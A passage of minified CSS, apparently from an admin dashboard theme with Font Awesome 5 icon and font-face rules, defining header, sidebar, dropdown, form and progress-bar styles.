before{content:"\f167"}.fa-youtube-square:before{content:"\f431"}.fa-zhihu:before{content:"\f63f"}.sr-only{border:0;clip:rect(0,0,0,0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.sr-only-focusable:active,.sr-only-focusable:focus{clip:auto;height:auto;margin:0;overflow:visible;position:static;width:auto}@font-face{font-family:Font Awesome\ 5 Free;font-style:normal;font-weight:400;font-display:block;src:url(fonts/fa-regular-400.7630483d.eot);src:url(fonts/fa-regular-400.7630483d.eot?#iefix) format("embedded-opentype"),url(fonts/fa-regular-400.f0f82301.woff2) format("woff2"),url(fonts/fa-regular-400.7124eb50.woff) format("woff"),url(fonts/fa-regular-400.1f77739c.ttf) format("truetype"),url(build/images/fa-regular-400.0bb42845.svg#fontawesome) format("svg")}.far{font-weight:400}@font-face{font-family:Font Awesome\ 5 Free;font-style:normal;font-weight:900;font-display:block;src:url(fonts/fa-solid-900.1042e8ca.eot);src:url(fonts/fa-solid-900.1042e8ca.eot?#iefix) format("embedded-opentype"),url(fonts/fa-solid-900.e8a427e1.woff2) format("woff2"),url(fonts/fa-solid-900.9fe5a17c.woff) format("woff"),url(fonts/fa-solid-900.605ed792.ttf) format("truetype"),url(build/images/fa-solid-900.376c1f97.svg#fontawesome) format("svg")}.fa,.far,.fas{font-family:Font Awesome\ 5 Free}.fa,.fas{font-weight:900}@font-face{font-family:Font Awesome\ 5 Brands;font-style:normal;font-weight:400;font-display:block;src:url(fonts/fa-brands-400.30cc681d.eot);src:url(fonts/fa-brands-400.30cc681d.eot?#iefix) format("embedded-opentype"),url(fonts/fa-brands-400.f7307680.woff2) format("woff2"),url(fonts/fa-brands-400.099a9556.woff) format("woff"),url(fonts/fa-brands-400.3b89dd10.ttf) format("truetype"),url(build/images/fa-brands-400.ba7ed552.svg#fontawesome) format("svg")}.fab{font-family:Font Awesome\ 5 Brands;font-weight:400}.layout-boxed body,.layout-boxed html,body,html{height:100%}body{font-family:Source Sans Pro,Helvetica Neue,Helvetica,Arial,sans-serif;font-weight:400}.wrapper,body{overflow-x:hidden;overflow-y:auto}.wrapper{height:100%;position:relative}.wrapper:after,.wrapper:before{content:" ";display:table}.wrapper:after{clear:both}.layout-boxed .wrapper{max-width:1250px;margin:0 auto;min-height:100%;box-shadow:0 0 8px rgba(0,0,0,.5);position:relative}.layout-boxed{background-color:#f9fafc}.content-wrapper,.main-footer{-webkit-transition:-webkit-transform .3s ease-in-out,margin .3s ease-in-out;-moz-transition:-moz-transform .3s ease-in-out,margin .3s ease-in-out;-o-transition:-o-transform .3s ease-in-out,margin .3s ease-in-out;transition:transform .3s ease-in-out,margin .3s ease-in-out;margin-left:230px;z-index:820}.layout-top-nav .content-wrapper,.layout-top-nav .main-footer{margin-left:0}@media (max-width:767px){.content-wrapper,.main-footer{margin-left:0}}@media (min-width:768px){.sidebar-collapse .content-wrapper,.sidebar-collapse .main-footer{margin-left:0}}@media (max-width:767px){.sidebar-open .content-wrapper,.sidebar-open .main-footer{-webkit-transform:translate(230px);-ms-transform:translate(230px);-o-transform:translate(230px);transform:translate(230px)}}.content-wrapper{min-height:calc(100vh - 101px);background-color:#ecf0f5;z-index:800}@media (max-width:767px){.content-wrapper{min-height:calc(100vh - 151px)}}.main-footer{background:#fff;padding:15px;color:#444;border-top:1px solid #d2d6de}.fixed .left-side,.fixed .main-header,.fixed .main-sidebar{position:fixed}.fixed .main-header{top:0;right:0;left:0}.fixed .content-wrapper,.fixed .right-side{padding-top:50px}@media (max-width:767px){.fixed .content-wrapper,.fixed .right-side{padding-top:100px}}.fixed.layout-boxed .wrapper{max-width:100%}.fixed .wrapper{overflow:hidden}.hold-transition .content-wrapper,.hold-transition .left-side,.hold-transition .main-footer,.hold-transition .main-header .logo,.hold-transition .main-header .navbar,.hold-transition .main-sidebar,.hold-transition .menu-open .fa-angle-left,.hold-transition .right-side{-webkit-transition:none;-o-transition:none;transition:none}.content{min-height:250px;margin-right:auto;margin-left:auto;padding:15px}.h1,.h2,.h3,.h4,.h5,.h6,h1,h2,h3,h4,h5,h6{font-family:Source Sans Pro,sans-serif}a{color:#3c8dbc}a:active,a:focus,a:hover{outline:none;text-decoration:none;color:#72afd2}.page-header{margin:10px 0 20px;font-size:22px}.page-header>small{color:#666;display:block;margin-top:5px}.main-header{position:relative;max-height:100px;z-index:1030}.main-header .navbar{-webkit-transition:margin-left .3s ease-in-out;-o-transition:margin-left .3s ease-in-out;transition:margin-left .3s ease-in-out;margin-bottom:0;margin-left:230px;border:none;min-height:50px;border-radius:0}.layout-top-nav .main-header .navbar{margin-left:0}.main-header #navbar-search-input.form-control{background:hsla(0,0%,100%,.2);border-color:transparent}.main-header #navbar-search-input.form-control:active,.main-header #navbar-search-input.form-control:focus{border-color:rgba(0,0,0,.1);background:hsla(0,0%,100%,.9)}.main-header #navbar-search-input.form-control::-moz-placeholder{color:#ccc;opacity:1}.main-header #navbar-search-input.form-control:-ms-input-placeholder{color:#ccc}.main-header #navbar-search-input.form-control::-webkit-input-placeholder{color:#ccc}.main-header .navbar-custom-menu,.main-header .navbar-right{float:right}@media (max-width:991px){.main-header .navbar-custom-menu a,.main-header .navbar-right a{color:inherit;background:transparent}}@media (max-width:767px){.main-header .navbar-right{float:none}.navbar-collapse .main-header .navbar-right{margin:7.5px -15px}.main-header .navbar-right>li{color:inherit;border:0}}.main-header .sidebar-toggle{float:left;background-color:transparent;background-image:none;padding:15px;font-family:fontAwesome}.main-header .sidebar-toggle:before{content:"\f0c9"}.main-header .sidebar-toggle:hover{color:#fff}.main-header .sidebar-toggle:active,.main-header .sidebar-toggle:focus{background:transparent}.main-header .sidebar-toggle.fa5{font-family:"Font Awesome\ 5 Free"}.main-header .sidebar-toggle.fa5:before{content:"\f0c9";font-weight:900}.main-header .sidebar-toggle .icon-bar{display:none}.main-header .navbar .nav>li.user>a>.fa,.main-header .navbar .nav>li.user>a>.glyphicon,.main-header .navbar .nav>li.user>a>.ion{margin-right:5px}.main-header .navbar .nav>li>a>.label{position:absolute;top:9px;right:7px;text-align:center;font-size:9px;padding:2px 3px;line-height:.9}.main-header .logo{-webkit-transition:width .3s ease-in-out;-o-transition:width .3s ease-in-out;transition:width .3s ease-in-out;display:block;float:left;height:50px;font-size:20px;line-height:50px;text-align:center;width:230px;font-family:Helvetica Neue,Helvetica,Arial,sans-serif;padding:0 15px;font-weight:300;overflow:hidden}.main-header .logo img{padding:4px;object-fit:contain;margin:0 auto}.main-header .logo .logo-lg{display:block}.main-header .logo .logo-lg img{max-width:200px;max-height:50px}.main-header .logo .logo-lg .brandlogo-image{margin-top:8px;margin-right:10px;margin-left:-5px}.main-header .logo .logo-mini{display:none}.main-header .logo .logo-mini img{max-width:50px;max-height:50px}.main-header .logo .logo-mini .brandlogo-image{margin-top:8px;margin-right:10px;margin-left:10px}.main-header .logo .brandlogo-image{float:left;height:34px;width:auto}.main-header .navbar-brand{color:#fff}.content-header{position:relative;padding:15px 15px 0}.content-header>h1{margin:0;font-size:24px}.content-header>h1>small{font-size:15px;display:inline-block;padding-left:4px;font-weight:300}.content-header>.breadcrumb{margin-top:0;margin-bottom:0;font-size:12px;padding:7px 5px;top:15px;right:10px;border-radius:2px}.content-header>.breadcrumb>li>a{color:#444;text-decoration:none;display:inline-block}.content-header>.breadcrumb>li>a>.fa,.content-header>.breadcrumb>li>a>.glyphicon,.content-header>.breadcrumb>li>a>.ion{margin-right:5px}.content-header>.breadcrumb>li+li:before{content:">\00a0"}@media (max-width:991px){.content-header>.breadcrumb{position:relative;margin-top:5px;top:0;right:0;float:none;background:#d2d6de;padding-left:10px}.content-header>.breadcrumb li:before{color:#97a0b3}}.navbar-toggle{color:#fff;border:0;margin:0;padding:15px}@media (max-width:991px){.navbar-custom-menu .navbar-nav>li{float:left}.navbar-custom-menu .navbar-nav{margin:0;float:left}.navbar-custom-menu .navbar-nav>li>a{padding-top:15px;padding-bottom:15px;line-height:20px}}@media (max-width:767px){.main-header{position:relative}.main-header .logo,.main-header .navbar{width:100%;float:none}.main-header .navbar{margin:0}.main-header .navbar-custom-menu{float:right}}@media (max-width:991px){.navbar-collapse.pull-left{float:none!important}.navbar-collapse.pull-left+.navbar-custom-menu{display:block;position:absolute;top:0;right:40px}}.main-sidebar{position:absolute;top:0;left:0;padding-top:50px;min-height:100%;width:230px;z-index:810;-webkit-transition:-webkit-transform .3s ease-in-out,width .3s ease-in-out;-moz-transition:-moz-transform .3s ease-in-out,width .3s ease-in-out;-o-transition:-o-transform .3s ease-in-out,width .3s ease-in-out;transition:transform .3s ease-in-out,width .3s ease-in-out}@media (max-width:767px){.main-sidebar{padding-top:100px;-webkit-transform:translate(-230px);-ms-transform:translate(-230px);-o-transform:translate(-230px);transform:translate(-230px)}}@media (min-width:768px){.sidebar-collapse .main-sidebar{-webkit-transform:translate(-230px);-ms-transform:translate(-230px);-o-transform:translate(-230px);transform:translate(-230px)}}@media (max-width:767px){.sidebar-open .main-sidebar{-webkit-transform:translate(0);-ms-transform:translate(0);-o-transform:translate(0);transform:translate(0)}}.sidebar{padding-bottom:10px}.sidebar-form input:focus{border-color:transparent}.user-panel{position:relative;width:100%;padding:10px;overflow:hidden}.user-panel:after,.user-panel:before{content:" ";display:table}.user-panel:after{clear:both}.user-panel>.image>img{width:100%;max-width:45px;height:auto}.user-panel>.info{padding:5px 5px 5px 15px;line-height:1;position:absolute;left:55px}.user-panel>.info>p{font-weight:600;margin-bottom:9px}.user-panel>.info>a{text-decoration:none;padding-right:5px;margin-top:3px;font-size:11px}.user-panel>.info>a>.fa,.user-panel>.info>a>.glyphicon,.user-panel>.info>a>.ion{margin-right:3px}.sidebar-menu{list-style:none;margin:0;padding:0}.sidebar-menu>li{position:relative;margin:0;padding:0}.sidebar-menu>li>a{padding:12px 5px 12px 15px;display:block}.sidebar-menu>li>a>.fa,.sidebar-menu>li>a>.glyphicon,.sidebar-menu>li>a>.ion{width:20px}.sidebar-menu>li .badge,.sidebar-menu>li .label{margin-right:5px}.sidebar-menu>li .badge{margin-top:3px}.sidebar-menu li.header{padding:10px 25px 10px 15px;font-size:12px}.sidebar-menu li>a>.fa-angle-left,.sidebar-menu li>a>.pull-right-container>.fa-angle-left{width:auto;height:auto;padding:0;margin-right:10px;-webkit-transition:transform .5s ease;-o-transition:transform .5s ease;transition:transform .5s ease}.sidebar-menu li>a>.fa-angle-left{position:absolute;top:50%;right:10px;margin-top:-8px}.sidebar-menu .menu-open>a>.fa-angle-left,.sidebar-menu .menu-open>a>.pull-right-container>.fa-angle-left{-webkit-transform:rotate(-90deg);-ms-transform:rotate(-90deg);-o-transform:rotate(-90deg);transform:rotate(-90deg)}.sidebar-menu .active>.treeview-menu{display:block}@media (min-width:768px){.sidebar-mini.sidebar-collapse .content-wrapper,.sidebar-mini.sidebar-collapse .main-footer,.sidebar-mini.sidebar-collapse .right-side{margin-left:50px!important;z-index:840}.sidebar-mini.sidebar-collapse .main-sidebar{-webkit-transform:translate(0);-ms-transform:translate(0);-o-transform:translate(0);transform:translate(0);width:50px!important;z-index:850}.sidebar-mini.sidebar-collapse .sidebar-menu>li{position:relative}.sidebar-mini.sidebar-collapse .sidebar-menu>li>a{margin-right:0}.sidebar-mini.sidebar-collapse .sidebar-menu>li>a>span{border-top-right-radius:4px}.sidebar-mini.sidebar-collapse .sidebar-menu>li:not(.treeview)>a>span{border-bottom-right-radius:4px}.sidebar-mini.sidebar-collapse .sidebar-menu>li>.treeview-menu{padding-top:5px;padding-bottom:5px;border-bottom-right-radius:4px}.sidebar-mini.sidebar-collapse .main-sidebar .user-panel>.info,.sidebar-mini.sidebar-collapse .sidebar-form,.sidebar-mini.sidebar-collapse .sidebar-menu>li>.treeview-menu,.sidebar-mini.sidebar-collapse .sidebar-menu>li>a>.pull-right,.sidebar-mini.sidebar-collapse .sidebar-menu>li>a>span,.sidebar-mini.sidebar-collapse .sidebar-menu>li>a>span>.pull-right,.sidebar-mini.sidebar-collapse .sidebar-menu li.header{display:none!important;-webkit-transform:translateZ(0)}.sidebar-mini.sidebar-collapse .main-header .logo{width:50px}.sidebar-mini.sidebar-collapse .main-header .logo>.logo-mini{display:block;margin-left:-15px;margin-right:-15px;font-size:18px}.sidebar-mini.sidebar-collapse .main-header .logo>.logo-lg{display:none}.sidebar-mini.sidebar-collapse .main-header .navbar{margin-left:50px}}@media (min-width:768px){.sidebar-mini:not(.sidebar-mini-expand-feature).sidebar-collapse .sidebar-menu>li:hover>.treeview-menu,.sidebar-mini:not(.sidebar-mini-expand-feature).sidebar-collapse .sidebar-menu>li:hover>a>span:not(.pull-right){display:block!important;position:absolute;width:180px;left:50px}.sidebar-mini:not(.sidebar-mini-expand-feature).sidebar-collapse .sidebar-menu>li:hover>a>span{top:0;margin-left:-3px;padding:12px 5px 12px 20px;background-color:inherit}.sidebar-mini:not(.sidebar-mini-expand-feature).sidebar-collapse .sidebar-menu>li:hover>a>.pull-right-container{position:relative!important;float:right;width:auto!important;left:180px!important;top:-22px!important;z-index:900}.sidebar-mini:not(.sidebar-mini-expand-feature).sidebar-collapse .sidebar-menu>li:hover>a>.pull-right-container>.label:not(:first-of-type){display:none}.sidebar-mini:not(.sidebar-mini-expand-feature).sidebar-collapse .sidebar-menu>li:hover>.treeview-menu{top:44px;margin-left:0}}.sidebar-expanded-on-hover .content-wrapper,.sidebar-expanded-on-hover .main-footer{margin-left:50px}.sidebar-expanded-on-hover .main-sidebar{box-shadow:3px 0 8px rgba(0,0,0,.125)}.main-sidebar .user-panel,.sidebar-menu,.sidebar-menu>li.header{white-space:nowrap;overflow:hidden}.sidebar-menu:hover{overflow:visible}.sidebar-form,.sidebar-menu>li.header{overflow:hidden;text-overflow:clip}.sidebar-menu li>a{position:relative}.sidebar-menu li>a>.pull-right-container{position:absolute;right:10px;top:50%;margin-top:-7px}.control-sidebar-bg{position:fixed;z-index:1000;bottom:0}.control-sidebar,.control-sidebar-bg{top:0;right:-230px;width:230px;-webkit-transition:right .3s ease-in-out;-o-transition:right .3s ease-in-out;transition:right .3s ease-in-out}.control-sidebar{position:absolute;padding-top:50px;z-index:1010}@media (max-width:767px){.control-sidebar{padding-top:100px}}.control-sidebar>.tab-content{padding:10px 15px}.control-sidebar.control-sidebar-open,.control-sidebar.control-sidebar-open+.control-sidebar-bg{right:0}.control-sidebar-hold-transition .content-wrapper,.control-sidebar-hold-transition .control-sidebar,.control-sidebar-hold-transition .control-sidebar-bg{transition:none}.control-sidebar-open .control-sidebar,.control-sidebar-open .control-sidebar-bg{right:0}@media (min-width:768px){.control-sidebar-open .content-wrapper,.control-sidebar-open .main-footer,.control-sidebar-open .right-side{margin-right:230px}}.fixed .control-sidebar{position:fixed;height:100%;overflow-y:auto;padding-bottom:50px}.nav-tabs.control-sidebar-tabs>li:first-of-type>a,.nav-tabs.control-sidebar-tabs>li:first-of-type>a:focus,.nav-tabs.control-sidebar-tabs>li:first-of-type>a:hover{border-left-width:0}.nav-tabs.control-sidebar-tabs>li>a{border-radius:0}.nav-tabs.control-sidebar-tabs>li>a,.nav-tabs.control-sidebar-tabs>li>a:hover{border:1px solid transparent;border-top:none;border-right:none}.nav-tabs.control-sidebar-tabs>li>a .icon{font-size:16px}.nav-tabs.control-sidebar-tabs>li.active>a,.nav-tabs.control-sidebar-tabs>li.active>a:active,.nav-tabs.control-sidebar-tabs>li.active>a:focus,.nav-tabs.control-sidebar-tabs>li.active>a:hover{border-top:none;border-right:none;border-bottom:none}@media (max-width:768px){.nav-tabs.control-sidebar-tabs{display:table}.nav-tabs.control-sidebar-tabs>li{display:table-cell}}.control-sidebar-heading{font-weight:400;font-size:16px;padding:10px 0;margin-bottom:10px}.control-sidebar-subheading{display:block;font-weight:400;font-size:14px}.control-sidebar-menu{list-style:none;padding:0;margin:0 -15px}.control-sidebar-menu>li>a{display:block;padding:10px 15px}.control-sidebar-menu>li>a:after,.control-sidebar-menu>li>a:before{content:" ";display:table}.control-sidebar-menu>li>a:after{clear:both}.control-sidebar-menu>li>a>.control-sidebar-subheading{margin-top:0}.control-sidebar-menu .menu-icon{float:left;width:35px;height:35px;border-radius:50%;text-align:center;line-height:35px}.control-sidebar-menu .menu-info{margin-left:45px;margin-top:3px}.control-sidebar-menu .menu-info>.control-sidebar-subheading{margin:0}.control-sidebar-menu .menu-info>p{margin:0;font-size:11px}.control-sidebar-menu .progress{margin:0}.control-sidebar-dark{color:#b8c7ce}.control-sidebar-dark,.control-sidebar-dark+.control-sidebar-bg{background:#222d32}.control-sidebar-dark .nav-tabs.control-sidebar-tabs{border-bottom:#1c2529}.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li>a{background:#181f23;color:#b8c7ce}.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li>a,.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li>a:focus,.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li>a:hover{border-left-color:#141a1d;border-bottom-color:#141a1d}.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li>a:active,.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li>a:focus,.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li>a:hover{background:#1c2529}.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li>a:hover{color:#fff}.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li.active>a,.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li.active>a:active,.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li.active>a:focus,.control-sidebar-dark .nav-tabs.control-sidebar-tabs>li.active>a:hover{background:#222d32;color:#fff}.control-sidebar-dark .control-sidebar-heading,.control-sidebar-dark .control-sidebar-subheading{color:#fff}.control-sidebar-dark .control-sidebar-menu>li>a:hover{background:#1e282c}.control-sidebar-dark .control-sidebar-menu>li>a .menu-info>p{color:#b8c7ce}.control-sidebar-light{color:#5e5e5e}.control-sidebar-light,.control-sidebar-light+.control-sidebar-bg{background:#f9fafc;border-left:1px solid #d2d6de}.control-sidebar-light .nav-tabs.control-sidebar-tabs{border-bottom:#d2d6de}.control-sidebar-light .nav-tabs.control-sidebar-tabs>li>a{background:#e8ecf4;color:#444}.control-sidebar-light .nav-tabs.control-sidebar-tabs>li>a,.control-sidebar-light .nav-tabs.control-sidebar-tabs>li>a:focus,.control-sidebar-light .nav-tabs.control-sidebar-tabs>li>a:hover{border-left-color:#d2d6de;border-bottom-color:#d2d6de}.control-sidebar-light .nav-tabs.control-sidebar-tabs>li>a:active,.control-sidebar-light .nav-tabs.control-sidebar-tabs>li>a:focus,.control-sidebar-light .nav-tabs.control-sidebar-tabs>li>a:hover{background:#eff1f7}.control-sidebar-light .nav-tabs.control-sidebar-tabs>li.active>a,.control-sidebar-light .nav-tabs.control-sidebar-tabs>li.active>a:active,.control-sidebar-light .nav-tabs.control-sidebar-tabs>li.active>a:focus,.control-sidebar-light .nav-tabs.control-sidebar-tabs>li.active>a:hover{background:#f9fafc;color:#111}.control-sidebar-light .control-sidebar-heading,.control-sidebar-light .control-sidebar-subheading{color:#111}.control-sidebar-light .control-sidebar-menu{margin-left:-14px}.control-sidebar-light .control-sidebar-menu>li>a:hover{background:#f4f4f5}.control-sidebar-light .control-sidebar-menu>li>a .menu-info>p{color:#5e5e5e}.dropdown-menu{box-shadow:none;border-color:#eee}.dropdown-menu>li>a{color:#777}.dropdown-menu>li>a>.fa,.dropdown-menu>li>a>.glyphicon,.dropdown-menu>li>a>.ion{margin-right:10px}.dropdown-menu>li>a:hover{background-color:#e1e3e9;color:#333}.dropdown-menu>.divider{background-color:#eee}.navbar-nav>.messages-menu>.dropdown-menu,.navbar-nav>.notifications-menu>.dropdown-menu,.navbar-nav>.tasks-menu>.dropdown-menu{width:280px;padding:0;margin:0;top:100%}.navbar-nav>.messages-menu>.dropdown-menu>li,.navbar-nav>.notifications-menu>.dropdown-menu>li,.navbar-nav>.tasks-menu>.dropdown-menu>li{position:relative}.navbar-nav>.messages-menu>.dropdown-menu>li.header,.navbar-nav>.notifications-menu>.dropdown-menu>li.header,.navbar-nav>.tasks-menu>.dropdown-menu>li.header{border-top-left-radius:4px;border-top-right-radius:4px;border-bottom-right-radius:0;border-bottom-left-radius:0;background-color:#fff;padding:7px 10px;border-bottom:1px solid #f4f4f4;color:#444;font-size:14px}.navbar-nav>.messages-menu>.dropdown-menu>li.footer>a,.navbar-nav>.notifications-menu>.dropdown-menu>li.footer>a,.navbar-nav>.tasks-menu>.dropdown-menu>li.footer>a{border-top-left-radius:0;border-top-right-radius:0;border-bottom-right-radius:4px;border-bottom-left-radius:4px;font-size:12px;background-color:#fff;padding:7px 10px;border-bottom:1px solid #eee;color:#444!important;text-align:center}@media (max-width:991px){.navbar-nav>.messages-menu>.dropdown-menu>li.footer>a,.navbar-nav>.notifications-menu>.dropdown-menu>li.footer>a,.navbar-nav>.tasks-menu>.dropdown-menu>li.footer>a{background:#fff!important;color:#444!important}}.navbar-nav>.messages-menu>.dropdown-menu>li.footer>a:hover,.navbar-nav>.notifications-menu>.dropdown-menu>li.footer>a:hover,.navbar-nav>.tasks-menu>.dropdown-menu>li.footer>a:hover{text-decoration:none;font-weight:400}.navbar-nav>.messages-menu>.dropdown-menu>li .menu,.navbar-nav>.notifications-menu>.dropdown-menu>li .menu,.navbar-nav>.tasks-menu>.dropdown-menu>li .menu{max-height:200px;margin:0;padding:0;list-style:none;overflow-x:hidden}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a,.navbar-nav>.notifications-menu>.dropdown-menu>li .menu>li>a,.navbar-nav>.tasks-menu>.dropdown-menu>li .menu>li>a{display:block;white-space:nowrap;border-bottom:1px solid #f4f4f4}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a:hover,.navbar-nav>.notifications-menu>.dropdown-menu>li .menu>li>a:hover,.navbar-nav>.tasks-menu>.dropdown-menu>li .menu>li>a:hover{background:#f4f4f4;text-decoration:none}.navbar-nav>.notifications-menu>.dropdown-menu>li .menu>li>a{color:#444;overflow:hidden;text-overflow:ellipsis;padding:10px}.navbar-nav>.notifications-menu>.dropdown-menu>li .menu>li>a>.fa,.navbar-nav>.notifications-menu>.dropdown-menu>li .menu>li>a>.glyphicon,.navbar-nav>.notifications-menu>.dropdown-menu>li .menu>li>a>.ion{width:20px}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a{margin:0;padding:10px}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a>div>img{margin:auto 10px auto auto;width:40px;height:40px}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a>h4{padding:0;margin:0 0 0 45px;color:#444;font-size:15px;position:relative}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a>h4>small{color:#999;font-size:10px;position:absolute;top:0;right:0}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a>p{margin:0 0 0 45px;font-size:12px;color:#888}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a:after,.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a:before{content:" ";display:table}.navbar-nav>.messages-menu>.dropdown-menu>li .menu>li>a:after{clear:both}.navbar-nav>.tasks-menu>.dropdown-menu>li .menu>li>a{padding:10px}.navbar-nav>.tasks-menu>.dropdown-menu>li .menu>li>a>h3{font-size:14px;padding:0;margin:0 0 10px;color:#666}.navbar-nav>.tasks-menu>.dropdown-menu>li .menu>li>a>.progress{padding:0;margin:0}.navbar-nav>.user-menu>.dropdown-menu{border-top-right-radius:0;border-top-left-radius:0;padding:1px 0 0;border-top-width:0;width:280px}.navbar-nav>.user-menu>.dropdown-menu,.navbar-nav>.user-menu>.dropdown-menu>.user-body{border-bottom-right-radius:4px;border-bottom-left-radius:4px}.navbar-nav>.user-menu>.dropdown-menu>li.user-header{height:175px;padding:10px;text-align:center}.navbar-nav>.user-menu>.dropdown-menu>li.user-header>img{z-index:5;height:90px;width:90px;border:3px solid hsla(0,0%,100%,.2)}.navbar-nav>.user-menu>.dropdown-menu>li.user-header>p{z-index:5;color:#fff;color:hsla(0,0%,100%,.8);font-size:17px;margin-top:10px}.navbar-nav>.user-menu>.dropdown-menu>li.user-header>p>small{display:block;font-size:12px}.navbar-nav>.user-menu>.dropdown-menu>.user-body{padding:15px;border-bottom:1px solid #f4f4f4;border-top:1px solid #ddd}.navbar-nav>.user-menu>.dropdown-menu>.user-body:after,.navbar-nav>.user-menu>.dropdown-menu>.user-body:before{content:" ";display:table}.navbar-nav>.user-menu>.dropdown-menu>.user-body:after{clear:both}.navbar-nav>.user-menu>.dropdown-menu>.user-body a{color:#444!important}@media (max-width:991px){.navbar-nav>.user-menu>.dropdown-menu>.user-body a{background:#fff!important;color:#444!important}}.navbar-nav>.user-menu>.dropdown-menu>.user-footer{background-color:#f9f9f9;padding:10px}.navbar-nav>.user-menu>.dropdown-menu>.user-footer:after,.navbar-nav>.user-menu>.dropdown-menu>.user-footer:before{content:" ";display:table}.navbar-nav>.user-menu>.dropdown-menu>.user-footer:after{clear:both}.navbar-nav>.user-menu>.dropdown-menu>.user-footer .btn-default{color:#666}@media (max-width:991px){.navbar-nav>.user-menu>.dropdown-menu>.user-footer .btn-default:hover{background-color:#f9f9f9}}.navbar-nav>.user-menu .user-image{float:left;width:25px;height:25px;border-radius:50%;margin-right:10px;margin-top:-2px}@media (max-width:767px){.navbar-nav>.user-menu .user-image{float:none;margin-right:0;margin-top:-8px;line-height:10px}}.open:not(.dropup)>.animated-dropdown-menu{backface-visibility:visible!important;-webkit-animation:flipInX .7s both;-o-animation:flipInX .7s both;animation:flipInX .7s both}@keyframes flipInX{0%{transform:perspective(400px) rotateX(90deg);transition-timing-function:ease-in;opacity:0}40%{transform:perspective(400px) rotateX(-20deg);transition-timing-function:ease-in}60%{transform:perspective(400px) rotateX(10deg);opacity:1}80%{transform:perspective(400px) rotateX(-5deg)}to{transform:perspective(400px)}}@-webkit-keyframes flipInX{0%{-webkit-transform:perspective(400px) rotateX(90deg);-webkit-transition-timing-function:ease-in;opacity:0}40%{-webkit-transform:perspective(400px) rotateX(-20deg);-webkit-transition-timing-function:ease-in}60%{-webkit-transform:perspective(400px) rotateX(10deg);opacity:1}80%{-webkit-transform:perspective(400px) rotateX(-5deg)}to{-webkit-transform:perspective(400px)}}.navbar-custom-menu>.navbar-nav>li{position:relative}.navbar-custom-menu>.navbar-nav>li>.dropdown-menu{position:absolute;right:0;left:auto}@media (max-width:991px){.navbar-custom-menu>.navbar-nav{float:right}.navbar-custom-menu>.navbar-nav>li{position:static}.navbar-custom-menu>.navbar-nav>li>.dropdown-menu{position:absolute;right:5%;left:auto;border:1px solid #ddd;background:#fff}}.form-control{border-radius:0;box-shadow:none;border-color:#d2d6de}.form-control:focus{border-color:#3c8dbc;box-shadow:none}.form-control:-ms-input-placeholder,.form-control::-moz-placeholder,.form-control::-webkit-input-placeholder{color:#bbb;opacity:1}.form-control:not(select){-webkit-appearance:none;-moz-appearance:none;appearance:none}.form-group.has-success label{color:#00a65a}.form-group.has-success .form-control,.form-group.has-success .input-group-addon{border-color:#00a65a;box-shadow:none}.form-group.has-success .help-block{color:#00a65a}.form-group.has-warning label{color:#f39c12}.form-group.has-warning .form-control,.form-group.has-warning .input-group-addon{border-color:#f39c12;box-shadow:none}.form-group.has-warning .help-block{color:#f39c12}.form-group.has-error label{color:#dd4b39}.form-group.has-error .form-control,.form-group.has-error .input-group-addon{border-color:#dd4b39;box-shadow:none}.form-group.has-error .help-block{color:#dd4b39}.input-group .input-group-addon{border-radius:0;border-color:#d2d6de;background-color:#fff}.btn-group-vertical .btn.btn-flat:first-of-type,.btn-group-vertical .btn.btn-flat:last-of-type{border-radius:0}.icheck>label{padding-left:0}.form-control-feedback.fa{line-height:34px}.form-group-lg .form-control+.form-control-feedback.fa,.input-group-lg+.form-control-feedback.fa,.input-lg+.form-control-feedback.fa{line-height:46px}.form-group-sm .form-control+.form-control-feedback.fa,.input-group-sm+.form-control-feedback.fa,.input-sm+.form-control-feedback.fa{line-height:30px}.progress,.progress>.progress-bar{-webkit-box-shadow:none;box-shadow:none}.progress,.progress .progress-bar,.progress>.progress-bar,.progress>.progress-bar .progress-bar{border-radius:1px}.progress-sm,.progress.sm{height:10px}.progress-sm,.progress-sm .progress-bar,.progress.sm,.progress.sm .progress-bar{border-radius:1px}.progress-xs,.progress.xs{height:7px}.progress-xs,.progress-xs .progress-bar,.progress.xs,.progress.xs .progress-bar{border-radius:1px}.progress-xxs,.progress.xxs{height:3px}.progress-xxs,.progress-xxs .progress-bar,.progress.xxs,.progress.xxs .progress-bar{border-radius:1px}.progress.vertical{position:relative;width:30px;height:200px;display:inline-block;margin-right:10px}.progress.vertical>.progress-bar{width:100%;position:absolute;bottom:0}.progress.vertical.progress-sm,.progress.vertical.sm{width:20px}.progress.vertical.progress-xs,.progress.vertical.xs{width:10px}.progress.vertical.progress-xxs,.progress.vertical.xxs{width:3px}.progress-group .progress-text{font-weight:600}.progress-group .progress-number{float:right}.table tr>td .progress{margin:0}.progress-bar-light-blue,.progress-bar-primary{background-color:#3c8dbc}.progress-striped .progress-bar-light-blue,.progress-striped .progress-bar-primary{background-image:-webkit-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 0,transparent);background-image:-o-linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 25%,transparent 50%,hsla(0,0%,100%,.15) 50%,hsla(0,0%,100%,.15) 75%,transparent 75%,transparent);background-image:linear-gradient(45deg,hsla(0,0%,100%,.15) 25%,transparent 0,transparent 50%,hsla(0,0%,100%,.15) 0,hsla(0,0%,100%,.15) 75%,transparent 